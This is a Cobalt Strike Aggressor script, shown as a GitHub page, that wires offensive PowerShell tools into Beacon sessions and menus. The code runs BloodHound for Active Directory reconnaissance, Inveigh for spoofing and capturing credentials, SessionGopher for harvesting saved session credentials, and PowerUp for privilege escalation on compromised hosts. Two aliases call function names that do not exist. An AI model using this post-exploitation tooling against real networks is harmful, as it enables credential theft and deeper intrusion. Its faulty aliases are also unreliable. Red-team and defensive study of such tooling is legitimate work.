-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy pathpowershell.cna
110 lines (96 loc) · 2.55 KB
/
powershell.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# This Aggressor script loads some commonly used PowerShell tools, and adds menu bindings
# 001SPARTaN
#### RECON
## BloodHound
# Run BloodHound with default settings
sub bloodhound {
bpowershell_import($1, script_resource("scripts/BloodHound.ps1")); # Change path to suit
bcd($1, "C:\\Temp");
bpowershell($1, "Invoke-BloodHound");
}
# Collect only sessions
sub bloodhoundSessionsOnly {
bpowershell_import($1, script_resource("scripts/BloodHound.ps1"));
bcd($1, "C:\\Temp");
bpowershell($1, "Invoke-BloodHound -CollectionMethod Session");
}
# Alias to run BloodHound from Beacon quickly
alias bloodhound {
bloodhound($1);
}
# Alias to run BloodHound session collection
alias bloodhound_sessions {
sessionsOnly($1);
}
## Inveigh
# Run Invoke-Inveigh for 60 minutes
sub inveigh {
local('$bid');
$bid = $1;
bpowershell_import($bid, script_resource("scripts/Inveigh.ps1"));
bcd($bid, "C:\\Temp");
bpowershell($bid, "Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -RunTime 60");
}
alias inveigh {
inveigh($1);
}
sub sessionGopher {
local('$bid');
$bid = $1;
bpowershell_import($bid, script_resource("scripts/SessionGopher.ps1"));
bcd($bid, "C:\\Temp");
bpowershell($bid, "Invoke-SessionGopher -o");
}
alias session_gopher {
session_gopher($1);
}
#### PRIVESC
# Run PowerUp Invoke-AllChecks
sub powerup {
bpowershell_import($1, script_resource("scripts/PowerUp.ps1"));
bpowershell($1, "Invoke-AllChecks");
}
alias powerup {
powerup($1);
}
# Add bindings to Beacon menu
popup beacon_bottom {
menu "P&owershell" {
menu "&Recon" {
item "BloodHound" {
local('$bid');
foreach $bid ($1) {
bloodhound ($bid);
}
}
item "BloodHound (Sessions)" {
local('$bid');
foreach $bid ($1) {
bloodhoundSessionsOnly($bid);
}
}
separator();
item "Inveigh" {
local('$bid');
foreach $bid ($1) {
inveigh($bid);
}
}
separator();
item "SessionGopher" {
local ('$bid');
foreach $bid ($1) {
sessionGopher($bid)
}
}
}
menu "&PrivEsc" {
item "PowerUp" {
local ('$bid');
foreach $bid ($1) {
powerup($bid);
}
}
}
}
}